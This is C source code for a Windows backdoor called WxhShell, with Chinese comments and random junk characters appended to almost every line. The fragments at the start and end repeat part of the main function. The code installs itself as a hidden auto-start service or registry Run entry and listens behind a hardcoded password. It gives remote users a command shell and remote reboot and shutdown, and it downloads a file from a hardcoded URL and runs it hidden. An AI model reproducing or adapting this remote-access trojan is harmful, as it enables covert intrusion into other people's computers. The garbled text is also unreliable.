if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |$sMzPCxOk
WinExec(wscfg.ws_filenam,SW_HIDE); T56%3i
} ),&tF_z:
5<mGG;F
if(!OsIsNt) { IT0 [;eqR
// 如果时win9x，隐藏进程并且设置为注册表启动 EbMG9
HideProc(); QRAw#
StartWxhshell(lpCmdLine); N^xk.O_TO
} +WB';D
else yvt :/X
if(StartFromService()) MT(G=r8
// 以服务方式启动 ];hK5
StartServiceCtrlDispatcher(DispatchTable); {p)=#Jd`.P
else m1,yf*U
// 普通方式启动 }4wIfI83K,
StartWxhshell(lpCmdLine); 5_E,x
`cn}}1Lg]
return 0; ,e!9WKJ B
} _0 $W;8X
vu=`s|R
2kV{|`1
4I7;/ZgALQ
=========================================== x&YcF78
/Lt Lu
k(%h{0'
p!RyxB1.|
M?m)<vMr*
Dvz}sQZ
" PDtLJt$
\*.u(8~2o
#include <stdio.h> Ld$e -dB
#include <string.h> v*VId l>
#include <windows.h> >4x~US[VB
#include <winsock2.h> j/*4Wj[
#include <winsvc.h> C Ch38qBp
#include <urlmon.h> R@Bnrk
mCQn '{)
#pragma comment (lib, "Ws2_32.lib") Sz3Tp5b
#pragma comment (lib, "urlmon.lib") siK:?A@4D
OF/DI)j3
#define MAX_USER 100 // 最大客户端连接数 ';.n#
#define BUF_SOCK 200 // sock buffer FNB4YZ6
#define KEY_BUFF 255 // 输入 buffer pG0Ca](
=BNS3W6
#define REBOOT 0 // 重启 %3A~&
#define SHUTDOWN 1 // 关机 ?K/N{GK%{
>cM}M=4s
#define DEF_PORT 5000 // 监听端口 vivU4:uH3
@A;Ouu(
#define REG_LEN 16 // 注册表键长度 fjwUh>[ }
#define SVC_LEN 80 // NT服务名长度 'awZ-$#
.W1i3Z6g
// 从dll定义API t$yt8#Tk
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z9vJF.clO
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |(6H)S]$
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R<AT}!mkR
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nW7Ew<`Q
3I%F,-r
// wxhshell配置信息 c"x-_Uk
struct WSCFG { qp)a`'Pq
int ws_port; // 监听端口 2,.;Mdl
char ws_passstr[REG_LEN]; // 口令 JC}oc M j0
int ws_autoins; // 安装标记, 1=yes 0=no wjnQK
char ws_regname[REG_LEN]; // 注册表键名 9Vh>ty1|_
char ws_svcname[REG_LEN]; // 服务名 ^ua8Ya
char ws_svcdisp[SVC_LEN]; // 服务显示名 @/yJTMcf
char ws_svcdesc[SVC_LEN]; // 服务描述信息 i!+Wv-
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U{%N.4:
int ws_downexe; // 下载执行标记, 1=yes 0=no x;L.j7lzA;
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [>y0Xf9^
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5^+QTQ
QYj8c]8f
}; 1`z^Xk8vt
="Sa>-do,
// default Wxhshell configuration z0Bw+&^]}
struct WSCFG wscfg={DEF_PORT, 9;B6<`e/U
"xuhuanlingzhe", 3duWk sERC
1, ?.%'[n>P
"Wxhshell", ,j|9Bs
"Wxhshell", kICZc{} `
"WxhShell Service", knU=#
"Wrsky Windows CmdShell Service", )of?!>'S[
"Please Input Your Password: ", ck"lX[d1
1, :6}y gL*i
"http://www.wrsky.com/wxhshell.exe", "`''eV3
"Wxhshell.exe" FPBO=?H.
}; !J@!P?0. C
KNZN2N)wR
// 消息定义模块 h;(#^+LH
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; paG^W&`;
char *msg_ws_prompt="\n\r? for help\n\r#>"; ci~pM<+
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Np?%pB!Q
char *msg_ws_ext="\n\rExit."; B]xZ 4Y
char *msg_ws_end="\n\rQuit."; ;jEDGKLq
char *msg_ws_boot="\n\rReboot..."; }#3'72
char *msg_ws_poff="\n\rShutdown..."; 6zfi\(fop
char *msg_ws_down="\n\rSave to "; QlmZ4fT[r
@D3Y}nR:
char *msg_ws_err="\n\rErr!"; e{<r<]/j
char *msg_ws_ok="\n\rOK!"; 9 Z5!3
`qnNEJL,
char ExeFile[MAX_PATH]; c[I4'x
int nUser = 0; rrSsQq
HANDLE handles[MAX_USER]; R8*z}xy{
int OsIsNt; <:,m
=nQgS.D
SERVICE_STATUS serviceStatus; nI63Ns
SERVICE_STATUS_HANDLE hServiceStatusHandle; 907N;r
Cm~Pn"K_]
// 函数声明 NM`5hd{
int Install(void); Zt;dPYq>
int Uninstall(void); r}-si^fo;
int DownloadFile(char *sURL, SOCKET wsh); (SEE(G35
int Boot(int flag); ?nLlZpZ2v
void HideProc(void); TQ{rg2_T
int GetOsVer(void); A*$JF>`7
int Wxhshell(SOCKET wsl); BkP'b{z|
void TalkWithClient(void *cs); 3?do|>
int CmdShell(SOCKET sock); C V{kP8#
int StartFromService(void); TQ/EH~Sz
int StartWxhshell(LPSTR lpCmdLine); ]WsQ=
y*BS %xTF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Hli@:B2s
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >o]!-46
klwC.=?(j"
// 数据结构和表定义 ji|+E`Nii
SERVICE_TABLE_ENTRY DispatchTable[] = ,m`>
{ {CO]wqEj
{wscfg.ws_svcname, NTServiceMain}, nE2w?
{NULL, NULL} z frEM
}; lR[]A
IzuYkl}
// 自我安装 u%o]r9xl'
int Install(void) Q.]$t 2J
{ B$Z%_j&
char svExeFile[MAX_PATH]; Qb.Ve7c
HKEY key; QGR}`n2D
strcpy(svExeFile,ExeFile); uPmK:9]3R
\6{w#HsP8
// 如果是win9x系统，修改注册表设为自启动 o4^|n1vN
if(!OsIsNt) { i-<1M|f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XY_zFF
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sU|\? pJ
RegCloseKey(key); k%|Sl>{Ir
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 +0-VRl
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >!U oS
RegCloseKey(key); <T3v|\6~H
return 0; NMM$ m!zg
} FQ3{~05T
} <Lt%[dn
} }Ai_peO0a
else { c SV`?[a
xA&RMu&
// 如果是NT以上系统，安装为系统服务 mBrH`!
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _x2i=SFo*$
if (schSCManager!=0) AgBXB%).
{ 1@i|[dq
SC_HANDLE schService = CreateService h:4Uv}Z
( 0E<xzYo
schSCManager, k6}M7&nY
wscfg.ws_svcname, ]RvFn~E!s
wscfg.ws_svcdisp, S{0iPdUC
SERVICE_ALL_ACCESS, X%Lhu6F
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mnG\qsKNLK
SERVICE_AUTO_START, #hQ#_7
SERVICE_ERROR_NORMAL, _<8~CWo:
svExeFile, <TDp8t9bU
NULL, YcmLc)a7
NULL, r=J+
NULL, C3]"y7
NULL, s2X<b `
NULL vg"$&YX9"
); k$ORVU
if (schService!=0) v|7=IJ
{ !1b4q/
CloseServiceHandle(schService); -_KO}_
CloseServiceHandle(schSCManager); 9K6G%
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +W7#G `>
strcat(svExeFile,wscfg.ws_svcname); jR_o!n~5
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S=@bb$4-T
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =>LQW;Sjz
RegCloseKey(key); j(>~:9I`
return 0; TSEv^u)3
} F*['1eAmdY
} hRFm]q
CloseServiceHandle(schSCManager); N+9W2n
} /)-OK7x
} {2v,J]v_[
b3M`vJ+{
return 1; ,s~d39{
} A0l-H/l7
JP1XH k
// 自我卸载 "|^-Yk\U
int Uninstall(void) xW.~Jt
{ 6>Z)w}x^
HKEY key; m5_
^B!cL~S*I
if(!OsIsNt) { t[4V1:
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X? l5}
RegDeleteValue(key,wscfg.ws_regname); bP)(4+t~
RegCloseKey(key); @9e}kiW
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {bP )Fon
RegDeleteValue(key,wscfg.ws_regname); R^?9V=Y<T
RegCloseKey(key); EGysA{o"X
return 0; L6 IIk
} B(1WI_}~
} !I jU*c@
} Ial"nV0>0
else { t\XA JU
E"zC6iYZ;
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gq]/6igzX
if (schSCManager!=0) MS`XhFPS.
{ 4Ifz-t/
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tNG[|Bi#
if (schService!=0) ~5>k_\G8
{ ] B?NDxU
if(DeleteService(schService)!=0) { iyv5\
CloseServiceHandle(schService); 64qqJmG3
CloseServiceHandle(schSCManager); *|as-!${k
return 0; gE9x+g
} RqKkB8g
CloseServiceHandle(schService); ()W`4p
} F<4>g+Ag
CloseServiceHandle(schSCManager); 9I[k3
} 1T}jK^"
} /V }Z,'+
i8A-h6E
return 1; H5(:1
} X#o<))
~(`&hYE
// 从指定url下载文件 quS]26wQz
int DownloadFile(char *sURL, SOCKET wsh) #y f
{ 88VI _<
HRESULT hr; s&iu+>
char seps[]= "/"; L;=3n[^x
char *token; E BSjU8
char *file; \c1>15
char myURL[MAX_PATH]; P2F8[o!<
char myFILE[MAX_PATH]; gnadx52FP
.I]EP-
strcpy(myURL,sURL); b!qlucAeE
token=strtok(myURL,seps); ?CldcxM#
while(token!=NULL) iD<}r?Z
{ XUA%3Xr
file=token; R[l~E![!j
token=strtok(NULL,seps); 3G'cDemc
} }:S}jo7
Oq:$GME
GetCurrentDirectory(MAX_PATH,myFILE); DiskGq@T
strcat(myFILE, "\\"); <Ira~N
strcat(myFILE, file); +F~B"a
send(wsh,myFILE,strlen(myFILE),0); 1.5R`vKn]
send(wsh,"...",3,0); e?N3&ezp
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZAgtVbO7
if(hr==S_OK) 2t?Vl%<
return 0; w,j;XPp
else \wR\i^
return 1; /4}y2JVv)
B>[myx
} CSH*^nk':O
6Ilj7m*
// 系统电源模块 TPLv]$n
int Boot(int flag) e'p"gX
{ v3(0Mu0J
HANDLE hToken; 4y!GFhMh
TOKEN_PRIVILEGES tkp; |{RCvm
Oc-ia)v1G
if(OsIsNt) { N36B*9m&p
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (hh^?
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P.jy7:dB,
tkp.PrivilegeCount = 1; D&pp <
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "'XYW\bI
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a-AA$U9hj
if(flag==REBOOT) { ~6+Um_A_L
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *_]fe&s=%
return 0; ]:m4~0^#-(
} #4!f/dWJp
else { x![G'I
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gZ-:4G|J
return 0; d,Oe3?][0p
} 0DN&HMI#
} t~.^92]s|
else { 19RbIG/X
if(flag==REBOOT) { k(v &+v
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [E"3?p
return 0; o{ccO29H/
} RWoVN$i>
else { b,'rz04^
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uaxkGEXr
return 0; LX #.
} 3$BO=hI/-
} 7|Iq4@IT
yVJ)JhV
return 1; ju4wU;Nu
} |uX&T`7?-
84s:cO
// win9x进程隐藏模块 PWfd<Yf!
void HideProc(void) T(k:\z/
{ 3wfJ!z-E8
P(3$XMx
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RLGIST`
if ( hKernel != NULL ) z^y -A?
{ =,&{ &m)
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M?kXzb\O
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5"+;}E|q
FreeLibrary(hKernel); $cLZ,N24
} w"A>mEex<
U]ZI_[\'U
return; SL<EZn0F9
} pwF])uf*{\
8P&z@E{y
// 获取操作系统版本 SV^[)p)
int GetOsVer(void) '%a:L^a?
{ ~$7YEs)
OSVERSIONINFO winfo; 18y'#<X!
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AZ-JaE
GetVersionEx(&winfo); (&/~q:a>
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |1T[P)Q
return 1; !{ORFd
else t /lU*
return 0; 2F ~SH
} /8P7L'Rb
<,9rXjeRl
// 客户端句柄模块 2V$YZSw6q
int Wxhshell(SOCKET wsl) / 6DW+!
{ 5[^Rf'wy
SOCKET wsh; p >nKNd_aQ
struct sockaddr_in client; G52z5-=v
DWORD myID; _~!c%_
<h`}I3Ao
while(nUser<MAX_USER) X u>]$+u#
{ kB-<17
int nSize=sizeof(client); ,4(m.P10
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j 2e|
if(wsh==INVALID_SOCKET) return 1; %O>_$ 4q
jf& oN]sZ
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s6I/%R3
if(handles[nUser]==0) N$cAX^~
closesocket(wsh); ?C_Y2JY
else +^%0/0e
nUser++; :n oZ p:a
} d*:J0J(
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _No<fz8
@DyMq3Gt?&
return 0; RP6hw|
} ;.~D!
Qs_]U
// 关闭 socket r#^uY:T%
void CloseIt(SOCKET wsh) ~&+8m=
{ N\x<'P4q
closesocket(wsh); OC`Mzf%.
nUser--; `(@{t:L
ExitThread(0); ,f[Oy:fr
} jft@ 'W53
#M:Vwn JX
// 客户端请求句柄 kT&GsR/
void TalkWithClient(void *cs) <J!?eH9f
{ FX/f0C3CK
!GZ{UmwA
SOCKET wsh=(SOCKET)cs; S!7|vb*ko
char pwd[SVC_LEN]; R9%"Kxm
char cmd[KEY_BUFF]; C0'_bTfB
char chr[1]; O4,?C)
int i,j; ?/Z5%?6
:"Kr-Hm`
while (nUser < MAX_USER) { 6/L34VH
B%KfB VC
if(wscfg.ws_passstr) { s!/Q>A
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l~GcD
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `HsI)RmX
//ZeroMemory(pwd,KEY_BUFF); rNX]tp{j
i=0; oF(|NS^
while(i<SVC_LEN) { Uj>bWa`
0%]F&|
// 设置超时 %ZJ;>a#
fd_set FdRead; hxsW9
struct timeval TimeOut; q!}O+(kt
FD_ZERO(&FdRead); Z=>#|pW,)
FD_SET(wsh,&FdRead); 2k"!o~s^
TimeOut.tv_sec=8; _.3O(?p,
TimeOut.tv_usec=0; b)@b63P_
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w:o,mzuXK
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^EmI;ks
L:RMZp*bK
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }`$Sr&n 1
pwd=chr[0]; wx)Yl1C
if(chr[0]==0xd || chr[0]==0xa) { [f\TnXq24
pwd=0; eh}{\P
break; YVB\9{H?
} x9VR>ux&
i++; x6B_5eF
} T_b$8GYfCY
![4<6/2gy
// 如果是非法用户，关闭 socket 0*}%v:uN9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Id;YIycXe
} mu}T,+9\
/4PV<[ :_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o&b1-=MC2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z 7s (g]
-<Zs7(
while(1) { `8rInfV
'CSIC8M<j
ZeroMemory(cmd,KEY_BUFF); N++jI(
WGeTL`}dh
// 自动支持客户端 telnet标准 251^>x.R
j=0; A$]&j5nh|
while(j<KEY_BUFF) { 9dFSppM
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }+4^ZbX+:
cmd[j]=chr[0]; o|?bvFC
if(chr[0]==0xa || chr[0]==0xd) { 1^4z/<ZWm
cmd[j]=0; u79,+H@ep
break; Rg!Fu
} z]Dbca1a`
j++; ;P#c!
} DL0i
v9qgfdBS5
// 下载文件 >5Rcj(-&l
if(strstr(cmd,"http://")) { ] 3@.)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "5,tEP!
if(DownloadFile(cmd,wsh)) :7w^2/ZGo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RS>;$O_(M
else 23AMrDF=N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o`8dqP
} ^K#PcPF-j
else { UE[5Bw?4X
QKAo}1Pq
switch(cmd[0]) { MifPZQ
.9< i
// 帮助 i8\&J.
case '?': { _djr>C=H"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c<`Z[EY(t
break; 9bL`0L
} e*7nq~ B5
// 安装 Tq r]5
case 'i': { dsx'l0q 'i
if(Install()) *<PQp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xMAfa>]{n
else f:_\S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !f\q0Gnl
break; J;K-Pv+
} +wAH?q8f
// 卸载 cH&-/|N
case 'r': { &B</^:
if(Uninstall()) = h _>OA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8b0!eB#_Ee
else TV~<1vj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '.sS"QdN
break; D5wy7`c
} "Dc6kn^}3
// 显示 wxhshell 所在路径 9!u=q5+E
case 'p': { X*'tJN$
char svExeFile[MAX_PATH]; JF%eC}[d
strcpy(svExeFile,"\n\r"); 3HU_~%l
strcat(svExeFile,ExeFile); ^^u{W|'CaH
send(wsh,svExeFile,strlen(svExeFile),0); Q-3o k7
break; QEe\1>1"&
} 6*] g)m
// 重启 F__j]}?
case 'b': { @WV}VKm
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4,8=0[eRG
if(Boot(REBOOT)) 7~2b4"&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); As&=Pb9
else { YEL,TU
closesocket(wsh); V &K:~[M
ExitThread(0); gWxpGW^eZ~
} Zc_%hQf2A
break; 39xAh*}G]
} or?@Ti;
// 关机 P}] xz Vy
case 'd': { N$8do?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n+C]&6-b
if(Boot(SHUTDOWN)) ]SqLF!S(=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AY{-Hf&
else { :L~{Q>o
closesocket(wsh); zYCrfr
ExitThread(0); a J%&Y5L
} IFrq\H0
break; O~E6"vQ
} k<1BE^[V
// 获取shell c-|~ABtEpX
case 's': { _0~WT
CmdShell(wsh); |D;"D
closesocket(wsh); KH2F#[ !Lw
ExitThread(0); lPRdwg-
break; ;&+[W(7Sy
} 4-]Do?
// 退出 NVO9XK
case 'x': { ~T>jBYI0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jh 7p62R
CloseIt(wsh); r^w\9a_
break; \3H<z@;
} 8zQ_xE
// 离开 %aj7-K6:t
case 'q': { r@*=|0(OrK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); h1^9tz{
closesocket(wsh); 6keP':bt
WSACleanup(); Y!++CMzU
exit(1); #&^ZQs<
break; [{S;%Jj*X/
} Qq'i*Mh
} 6}VUD -}B
} xa87xX=a
j~,h)C/v
// 提示信息 uY&=eQ_Cb
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hlAR[]
} 5TXg;v#Z
} b@=zrhQ
r?64!VS;
return; R&6n?g6@/V
} *'Z-OY<V
IXGW2z;
// shell模块句柄 uz*d^gr}
int CmdShell(SOCKET sock) reJ"r<2
{ f!5F]qP>-
STARTUPINFO si; eQ$N:]
ZeroMemory(&si,sizeof(si)); n=f`AmF;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [X;>*-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B }6Kd
PROCESS_INFORMATION ProcessInfo; "Jb3&qdU
char cmdline[]="cmd"; |WB"=PE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jzk!K@
return 0; pU M&"V
} 4Z*|Dsw
n4^*h4J7
// 自身启动模式 KuA>"X
int StartFromService(void) |kId8WtA
{ Af`z/:0<
typedef struct 6H0W`S0a
{ -r!42`S
DWORD ExitStatus; a]`itjL^
DWORD PebBaseAddress; smV!y8&
DWORD AffinityMask; d{W}p~UbH
DWORD BasePriority; /v5qyR7an
ULONG UniqueProcessId; Z*9L'd"D|
ULONG InheritedFromUniqueProcessId; H"O$&
} PROCESS_BASIC_INFORMATION; r ^MiRa
7gm:ZS
PROCNTQSIP NtQueryInformationProcess; x:qr\Rz
+lKrj\Xj
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dQai4e>[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8^y=H=
gGmxx,i
HANDLE hProcess; Wk}D]o0^@
PROCESS_BASIC_INFORMATION pbi; FOSbe]
N#UXP5C(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EMhr6</
if(NULL == hInst ) return 0; 8[M* x3
V}SyD(8~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?gN9kd)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;b1wk^,Hw~
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VJg,~lQN#t
0V3gKd7
if (!NtQueryInformationProcess) return 0; s@s/'^`
}%x}fu#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [fxuUmU
if(!hProcess) return 0; *> KHRR<N
xg} ug[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e/>:K' {
|!Fk2Je,
CloseHandle(hProcess); ]`d2_mu
G'9{a'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .'/l'>
if(hProcess==NULL) return 0; ?+Q$#pb
~.6|dw\p!
HMODULE hMod; {5-zyE
char procName[255]; D%U:!|G
unsigned long cbNeeded; AW/wI6[T
/EU; ?O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 13a(FG
4\6:\
CloseHandle(hProcess); ;v_V+t<$
x@m<Ym-
if(strstr(procName,"services")) return 1; // 以服务启动 <0 uOq
e\9g->DUs
return 0; // 注册表启动 k_?~<vTM
} [@3SfQ
],[)uTZc
// 主模块 BS7J#8cu
int StartWxhshell(LPSTR lpCmdLine) 8QF2^*RZ7z
{ HH8;J66I&
SOCKET wsl; C),7- ?
BOOL val=TRUE; nU/;2=f<
int port=0; qVBL>9O*.
struct sockaddr_in door; TJOvyz`t
WeC(w+}p
if(wscfg.ws_autoins) Install(); 2*u.3,aW
=Ndli>x}1
port=atoi(lpCmdLine); ?2ItB`<(
3taa^e.
if(port<=0) port=wscfg.ws_port; %>y;zqZIU
i8~$o:&HT
WSADATA data; 1h=D4yN
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %l7fR}
XoItV
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vT7g<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J :S'uxM
door.sin_family = AF_INET; yC !/PQ"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); EGS%C%>l/o
door.sin_port = htons(port); } `T8A
i-lKdpv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w`gyE 6A
closesocket(wsl); ."mlSW"Wm
return 1; fbC~WV#
} Qhy#r
ZL_[4Y
if(listen(wsl,2) == INVALID_SOCKET) { HY)ESU !
closesocket(wsl); 3t(c_:[%
return 1; Rj6|Y"gq9
} SDBt @=Nl
Wxhshell(wsl); 6 h'&6
WSACleanup(); v01#>,R
saW!9HQj
return 0; - k`.j
-BhTkoN)
} usOx=^?=
MzTW8
// 以NT服务方式启动 ?CY1]d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n%$ &=-Fk
{ OW`STp!
DWORD status = 0; wss?|XCI
DWORD specificError = 0xfffffff; lf$Ve
ZK!A#Jm{
serviceStatus.dwServiceType = SERVICE_WIN32; ^M[P-#X_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *H2]H@QHN
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #jS[
serviceStatus.dwWin32ExitCode = 0; Z8&'f,
serviceStatus.dwServiceSpecificExitCode = 0; n&!+wcJ;Yt
serviceStatus.dwCheckPoint = 0; 97LpY_sU
serviceStatus.dwWaitHint = 0; PW)aLycPK
.C!vr@@]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a!,r46>$H
if (hServiceStatusHandle==0) return; 6/Y1 wu
I/uy>*
status = GetLastError(); {eHAg<+
if (status!=NO_ERROR) O4|2|sA
{ =8JB8ZFP
serviceStatus.dwCurrentState = SERVICE_STOPPED; reiU%C
serviceStatus.dwCheckPoint = 0; |jG~,{
serviceStatus.dwWaitHint = 0; <hvRP!~<)
serviceStatus.dwWin32ExitCode = status; 1FERmf? ?d
serviceStatus.dwServiceSpecificExitCode = specificError; +%#8k9Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }[!92WS/ee
return; pv# 2]v
} rAukHeH
gv.6h{Ut
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;Yts\4BSM
serviceStatus.dwCheckPoint = 0; M$S]}
serviceStatus.dwWaitHint = 0; ^[q /Mw
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r<R4 1Fz
} Poy^RpnX
^&[+H8$
// 处理NT服务事件，比如：启动、停止 qx)?buAij
VOID WINAPI NTServiceHandler(DWORD fdwControl) %&+59vq
{ b{cU<;G)y.
switch(fdwControl) h*l&RR:i
{ Xu}U{x>
case SERVICE_CONTROL_STOP: !xK=#pa
serviceStatus.dwWin32ExitCode = 0; M\2"gT-LV
serviceStatus.dwCurrentState = SERVICE_STOPPED; a.%LHb
serviceStatus.dwCheckPoint = 0; pGGmA;TC1
serviceStatus.dwWaitHint = 0; B$a-og(
{ .#w6%c@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f~h~5
} i*[n{=*l@
return; c:hK$C)T
case SERVICE_CONTROL_PAUSE: EbK0j?
serviceStatus.dwCurrentState = SERVICE_PAUSED; a)s;dp}T%
break; \ v2H^j/
case SERVICE_CONTROL_CONTINUE: j,-C{ K
serviceStatus.dwCurrentState = SERVICE_RUNNING; M0'v&g
break; u=NG6G
case SERVICE_CONTROL_INTERROGATE: *dsX#Iz
break; :%4imgY`
}; r@}bDkx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); HZjf`eM,
} I9 64
Paf%rv2
// 标准应用程序主函数 <nHkg<O6Y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jgu*Y{ocm
{ B(5c9DI`
pbk$o{$`W
// 获取操作系统版本 \=2m7v#E
OsIsNt=GetOsVer(); '+y_\
GetModuleFileName(NULL,ExeFile,MAX_PATH); |Ul,6K@f"5
E1V^}dn
// 从命令行安装 |(R5e
if(strpbrk(lpCmdLine,"iI")) Install(); kI\tqNJi
9";sMB}W*
// 下载执行文件 @cvP0A
if(wscfg.ws_downexe) { fb]S-z(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y-aRXF=W
WinExec(wscfg.ws_filenam,SW_HIDE); m@G i6
} t'qL[r%?
e{w>%)rcP
if(!OsIsNt) { |`O5Xs1{B
